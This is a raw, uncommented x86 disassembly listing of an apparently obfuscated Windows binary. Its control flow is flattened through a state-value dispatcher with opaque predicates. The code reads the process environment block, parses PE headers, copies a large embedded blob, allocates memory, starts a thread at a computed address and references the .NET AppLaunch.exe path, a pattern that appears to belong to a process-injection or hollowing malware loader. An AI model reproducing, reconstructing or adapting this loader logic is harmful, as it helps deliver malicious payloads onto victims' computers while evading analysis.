vmovsd qword [eax], xmm0
jmp 0x404082
cmp eax, 0x38f35ada
jg 0x403bb5
cmp eax, 0x384477d6
je 0x404aad
cmp eax, 0x38dd8a9e
jne 0x4017d0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x2326b543
jmp 0x4017d0
cmp eax, 0xfee8a468
jg 0x403be6
cmp eax, 0xfeaf7161
je 0x404ac2
cmp eax, 0xfeb84eec
jne 0x4017d0
mov eax, 0xa6b7b30b
jmp 0x4017d0
cmp eax, 0x772072fd
je 0x404aee
cmp eax, 0x78fa4204
jne 0x4017d0
mov eax, 0x5616b27f
jmp 0x4017d0
cmp eax, 0x88c158d5
je 0x404af8
cmp eax, 0x8ae27408
jne 0x4017d0
mov eax, dword [ebp - 0xa0]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xa0]
vmovups ymm0, ymmword [0x4a6280]
vmovups ymm1, ymmword [0x4a6268]
vmovups ymm2, ymmword [0x4a6248]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xa4]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, 0x5f87017b
setne byte [ebp - 0x8e]
jmp 0x4017d0
cmp eax, 0x130a2ddd
je 0x404b6e
cmp eax, 0x13cbab0c
jne 0x4017d0
cmp dword [ebp - 0xe0], 0
mov eax, 0xecef1a5b
mov ecx, 0x588bbb72
cmove eax, ecx
jmp 0x4017d0
cmp eax, 0xcf9eeb68
je 0x404b88
cmp eax, 0xd145ce2b
jne 0x4017d0
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, 0xb5b40d36
jmp 0x4017d0
cmp eax, 0x4ea71d09
je 0x404baa
cmp eax, 0x504e7a5c
jne 0x4017d0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, 0x326cb75b
jmp 0x4017d0
cmp eax, 0xa5d120f1
je 0x404bb7
cmp eax, 0xa6b7b30b
jne 0x4017d0
mov eax, 0x44c06e87
jmp 0x4017d0
cmp eax, 0x31df0802
je 0x404bc1
cmp eax, 0x326cb75b
jne 0x4017d0
mov eax, dword [ebp - 0x38]
mov esi, 0xd5c3d7d5
add eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x504e7a5c
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
jmp 0x4052af
cmp eax, 0xf4a0fd6f
je 0x404bcb
cmp eax, 0xf4b073d7
jne 0x4017d0
mov eax, 0xf0cded52
jmp 0x4017d0
cmp eax, 0x6287fa62
je 0x404c17
cmp eax, 0x629780b6
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xffb7ef29
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x24236f6c
jmp 0x4052a1
cmp eax, 0x974c6604
je 0x404c3d
cmp eax, 0x977e9b89
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x40]
mov eax, 0xe924d823
jmp 0x4017d0
cmp eax, 0x24236f6c
je 0x404c57
cmp eax, 0x268c271e
jne 0x4017d0
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, 0x203e07db
jmp 0x4017d0
cmp eax, 0xdefd1dfb
je 0x404c61
cmp eax, 0xe131f283
jne 0x4017d0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, 0x7abde9b4
jmp 0x4017d0
cmp eax, 0x54b6a949
je 0x404c77
cmp eax, 0x5599dec9
jne 0x4017d0
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1bc]
mov edx, 0x2017db7d
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xcb6783d0
cmove eax, edx
jmp 0x4017d0
cmp eax, 0xbd56090f
je 0x404ca6
cmp eax, 0xbe9688b1
jne 0x4017d0
cmp byte [ebp - 0x8f], 0
mov eax, 0x9200fd5e
mov ecx, 0x38dd8a9e
cmovne eax, ecx
jmp 0x4017d0
cmp eax, 0x3c2b1e3f
je 0x404cb3
cmp eax, 0x3ca249b2
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov esi, 0xac446644
mov edi, 0x981da4d5
mov dword [eax], 0xa
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x981da4d5
jmp 0x4051ee
cmp eax, 0x263326e
je 0x404cce
cmp eax, 0x28f8f76
jne 0x4017d0
mov eax, dword [ebp - 0x48]
mov esi, 0xdc3720b6
mov edi, 0xe1fbace7
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
jmp 0x40499f
cmp eax, 0x6f471c1c
je 0x404ce1
cmp eax, 0x705a0226
jne 0x4017d0
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x4b3448]
mov edi, 0x588b6d2d
mov esi, 0x9dbbd9b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9dbbd9b
jmp 0x4017a7
cmp eax, 0x850c1648
je 0x404cfb
cmp eax, 0x854a519f
jne 0x4017d0
mov eax, 0x28efdc0e
jmp 0x4017d0
cmp eax, 0xd1624bd
je 0x404d20
cmp eax, 0xd422f87
jne 0x4017d0
mov eax, dword [ebp - 0xd8]
mov eax, dword [0x4b3448]
mov esi, 0x39555061
mov edi, 0x3d6a36
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3d6a36
jmp 0x4046e8
cmp eax, 0xca69a2ca
je 0x404d2d
cmp eax, 0xcaf57c78
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x312d97e5
mov edi, 0x97b59b90
jmp 0x4050f4
cmp eax, 0x4ae3fa03
je 0x404d3a
cmp eax, 0x4cb1302a
jne 0x4017d0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0x9de823c2
jmp 0x4017d0
cmp eax, 0x9f5306d2
je 0x404d44
cmp eax, 0xa452e909
jne 0x4017d0
cmp byte [ebp - 0x8a], 0
mov eax, 0x2017db7d
mov ecx, 0x75b20102
cmovne eax, ecx
jmp 0x4017d0
cmp eax, 0x2bf30054
je 0x404d95
cmp eax, 0x2c9c9b7d
jne 0x4017d0
cmp byte [ebp - 0x89], 0
mov eax, 0x2017db7d
mov ecx, 0xfd27126b
cmovne eax, ecx
jmp 0x4017d0
cmp eax, 0xf0cded52
je 0x404dcf
cmp eax, 0xf0e7181c
jne 0x4017d0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x54]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, 0xaa9fcf77
jmp 0x4017d0
cmp eax, 0x5f9e895f
je 0x404dd9
cmp eax, 0x5fd1a41f
jne 0x4017d0
mov eax, 0xcaf57c78
jmp 0x4017d0
cmp eax, 0x94a4281e
je 0x404df2
cmp eax, 0x956475b0
jne 0x4017d0
mov eax, 0xc2d4923d
jmp 0x4017d0
cmp eax, 0x2017db7d
je 0x404e02
cmp eax, 0x203e07db
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x4a60f3f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x268c271e
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x9c]
cmovge ecx, edx
mov edx, eax
xor edx, 0xbfffffff
test edx, eax
mov eax, ecx
setne byte [ebp - 0x8d]
jmp 0x4017d0
cmp eax, 0xdc1fbb40
je 0x404e1e
cmp eax, 0xdc3720b6
jne 0x4017d0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, 0x28f8f76
jmp 0x4017d0
cmp eax, 0x540718a9
je 0x404e28
cmp eax, 0x540df3be
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xe131f283
mov edi, 0x7abde9b4
jmp 0x4050f4
cmp eax, 0xb59431c4
je 0x404e4e
cmp eax, 0xb5b40d36
jne 0x4017d0
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x1d8]
mov dword [eax + 4], ecx
push dword [ebp - 0xa8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x70]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x705a0226
jmp 0x4017d0
cmp eax, 0x38fca042
je 0x404e7b
cmp eax, 0x39555061
jne 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0xccd7be1b
mov esi, 0x3d6a36
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3d6a36
jmp 0x40469d
cmp eax, 0xffb7ef29
je 0x404e85
cmp eax, 0x1784ae
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x9b493072
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x76bf22df
jmp 0x4052a1
cmp eax, 0x7b0de8cd
je 0x404e8f
cmp eax, 0x7b68e669
jne 0x4017d0
mov eax, 0x49732676
jmp 0x4017d0
cmp eax, 0x8cc37dfc
je 0x404ec3
cmp eax, 0x8e79a342
jne 0x4017d0
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xb2a14209
jmp 0x4017d0
cmp eax, 0x17386e3d
je 0x404ecd
cmp eax, 0x18215c39
jne 0x4017d0
mov eax, 0x856a0643
jmp 0x4017d0
cmp eax, 0xd505c587
je 0x404eef
cmp eax, 0xd5c3d7d5
jne 0x4017d0
mov eax, 0x35251d39
jmp 0x4017d0
cmp eax, 0x50ba90a9
je 0x404eff
cmp eax, 0x51958cd8
jne 0x4017d0
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov eax, 0xdba6e274
jmp 0x4017d0
cmp eax, 0xab51d2b4
je 0x404f09
cmp eax, 0xab693666
jne 0x4017d0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, 0x27913068
jmp 0x4017d0
cmp eax, 0x34ba765e
je 0x404f55
cmp eax, 0x35105193
jne 0x4017d0
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, 0x17386e3d
jmp 0x4017d0
cmp eax, 0xf6e4b312
je 0x404f6a
cmp eax, 0xf7a5e317
jne 0x4017d0
mov eax, dword [ebp - 0x164]
mov ecx, 0x2d8e0f4
cmp eax, dword [ebp - 0x168]
mov eax, 0x38f92d31
cmovb eax, ecx
jmp 0x4017d0
cmp eax, 0x674a603f
je 0x404f88
cmp eax, 0x67f58842
jne 0x4017d0
mov eax, 0xc6d304a9
jmp 0x4017d0
cmp eax, 0x9869a820
je 0x404fbb
cmp eax, 0x98b7be72
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x39a48c75
mov edi, 0xef3edcde
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x30]
cmovge eax, esi
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov word [ebp - 0xe2], cx
jmp 0x4017d0
cmp eax, 0x273cb5c0
je 0x404fce
cmp eax, 0x275d2039
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x454febc2
mov edi, 0x5924e95d
jmp 0x40499f
cmp eax, 0xe75311a0
je 0x404fd8
cmp eax, 0xe924d823
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov esi, 0x328b64c6
mov edi, 0x977e9b89
mov dword [eax], 0x10
mov eax, dword [ebp - 0x40]
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x977e9b89
jmp 0x4051ee
cmp eax, 0x57b28dbd
je 0x405025
cmp eax, 0x588b6d2d
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xa4a100c4
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9dbbd9b
jmp 0x4052a1
cmp eax, 0xc26fb19d
je 0x405046
cmp eax, 0xc2d4923d
jne 0x4017d0
cmp dword [ebp - 0x198], 0
mov eax, 0xc3df6944
mov ecx, 0x1784ae
cmove eax, ecx
jmp 0x4017d0
cmp eax, 0x43f81ff1
je 0x405070
cmp eax, 0x446708b4
jne 0x4017d0
mov eax, 0x4d848d99
jmp 0x4017d0
cmp eax, 0x4c28b02
je 0x40507a
cmp eax, 0x77eb3db
jne 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x2d08b58a
mov edi, 0xca69a2ca
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xca69a2ca
jmp 0x4051ee
cmp eax, 0x6ddeb6c9
je 0x405084
cmp eax, 0x6ef30a60
jne 0x4017d0
mov dword [ebp - 0xe8], 0
mov eax, 0x56199419
jmp 0x4017d0
cmp eax, 0x8235eb53
je 0x4050c9
cmp eax, 0x83244131
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x854a519f
mov edi, 0x28efdc0e
jmp 0x40499f
cmp eax, 0xbbaec2b
je 0x4050df
cmp eax, 0xcb9d762
jne 0x4017d0
mov eax, 0xfefb4daa
jmp 0x4017d0
cmp eax, 0xc9b374cf
je 0x405123
cmp eax, 0xc9cf5175
jne 0x4017d0
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
add eax, dword [ebp - 0x134]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0x7b0de8cd
jmp 0x4017d0
cmp eax, 0x49732676
je 0x40512d
cmp eax, 0x4a2237be
jne 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x536601f1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x38f35adb
jmp 0x4052a1
cmp eax, 0x9de823c2
je 0x405142
cmp eax, 0x9f1f42ea
jne 0x4017d0
mov eax, dword [ebp - 0x28]
mov eax, 0xf4a0fd6f
jmp 0x4017d0
cmp eax, 0x28f0f8cd
je 0x40516f
cmp eax, 0x29a98298
jne 0x4017d0
mov eax, dword [ebp - 0x3c]
mov eax, 0x446708b4
jmp 0x4017d0
cmp eax, 0xef3edcde
je 0x405192
cmp eax, 0xef8b5252
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x7efabd7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x33ea6043
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0xec]
cmp ecx, 0xa
cmovge eax, edx
add esi, 0x18
mov dword [ebp - 0x114], esi
jmp 0x4017d0
cmp eax, 0x5db87d4e
je 0x40519c
cmp eax, 0x5f87017b
jne 0x4017d0
mov eax, dword [ebp - 0x98]
movzx ecx, byte [ebp - 0x8e]
mov byte [eax], cl
mov ecx, 0x705a0226
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x98]
cmp byte [eax], 0
mov eax, 0xd145ce2b
cmove eax, ecx
jmp 0x4017d0
cmp eax, 0x92579cbd
je 0x4051a6
cmp eax, 0x92c35003
jne 0x4017d0
mov eax, dword [ebp - 0x1c]
mov eax, 0xde6c7125
jmp 0x4017d0
cmp eax, 0x1fcf8fb7
je 0x4051b0
cmp eax, 0x1fd1ead4
jne 0x4017d0
mov eax, dword [ebp - 0xb4]
mov dword [eax], 1
mov eax, 0x9d225f86
jmp 0x4017d0
cmp eax, 0xdbee770d
je 0x4051c9
cmp eax, 0xdbf88720
jne 0x4017d0
mov eax, 0x96da3f36
jmp 0x4017d0
cmp eax, 0x536601f1
je 0x40520d
cmp eax, 0x53d2e3e1
jne 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 7
mov eax, 0xd2c48861
jmp 0x4017d0
cmp eax, 0xb3c14ab5
je 0x40523d
cmp eax, 0xb4ee4465
jne 0x4017d0
mov eax, dword [ebp - 0x128]
mov ecx, 0xd8ff2fe8
cmp eax, dword [ebp - 0x130]
mov eax, 0x263326e
cmovl eax, ecx
jmp 0x4017d0
cmp eax, 0x38f35adb
je 0x405260
cmp eax, 0x38f92d31
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x88c8eef
mov edi, 0x26ab9cd2
jmp 0x40499f
cmp eax, 0xfee8a469
je 0x405273
cmp eax, 0xfefb4daa
jne 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0xcb9d762
mov edi, 0x5db87d4e
jmp 0x40499f
mov eax, dword [0x4b3448]
mov edi, 0x3ca249b2
mov esi, 0x981da4d5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x981da4d5
jmp 0x4017a7
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x203e07db
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x268c271e
jmp 0x4052a1
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, 0x715e9d92
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov eax, 0x38fca042
jmp 0x4017d0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x6c]
mov eax, 0x2bf30054
jmp 0x4017d0
mov eax, 0xc359e84a
jmp 0x4017d0
mov eax, dword [ebp - 0x100]
mov eax, 0xa80e6a4e
jmp 0x4017d0
mov eax, dword [ebp - 0x5c]
mov eax, 0x612addd7
jmp 0x4017d0
movzx ecx, byte [ebp - 0x85]
movzx eax, byte [ebp - 0x86]
mov esi, 0x5616b27f
mov edx, ecx
xor dl, al
mov edx, 0x78fa4204
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x4017d0
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax]
add eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1a4]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xd0]
mov eax, 0x5463922c
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xa9d3d2f1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd27706c1
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
cmp dword [ebp - 0x100], 0
mov eax, ecx
setne byte [ebp - 0x8b]
jmp 0x4017d0
cmp byte [ebp - 0x8b], 0
mov eax, 0x540718a9
mov ecx, 0x3776b8b1
cmovne eax, ecx
jmp 0x4017d0
mov eax, 0x273cb5c0
jmp 0x4017d0
mov eax, dword [ebp - 0xec]
mov eax, 0xef8b5252
jmp 0x4017d0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0xe5ef248a
jmp 0x4017d0
mov eax, 0xf7a5e317
jmp 0x4017d0
mov eax, 0xb59431c4
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x97d90ec0
mov edi, 0x75c91696
jmp 0x4050f4
mov eax, dword [0x4b3448]
mov esi, 0x1fcf8fb7
mov edi, 0x312d97e5
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x312d97e5
jmp 0x4051ee
mov eax, 0x63d43a4c
jmp 0x4017d0
mov eax, dword [ebp - 0x1c0]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x77eb3db
mov ecx, 0x39bfa270
cmove eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov esi, 0xdbf88720
mov edi, 0x88c8eef
mov dword [eax], 5
mov eax, dword [0x4b3448]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x88c8eef
jmp 0x4046e8
mov eax, 0x52ae5680
jmp 0x4017d0
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, 0x8f3d9146
jmp 0x4017d0
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
mov eax, 0x4c000
call fcn.0043b9b0
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xb8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xbc], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
push 0x4c000
push 0x45a228
push dword [ebp - 0x74]
vzeroupper
call fcn.0043e820
add esp, 0xc
mov eax, dword [0x4b3448]
mov edi, 0x31df0802
mov esi, 0x78fa4204
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x78fa4204
jmp 0x404324
push 4
push 0x3000
push dword [ebp - 0x10c]
push dword [ebp - 0xe8]
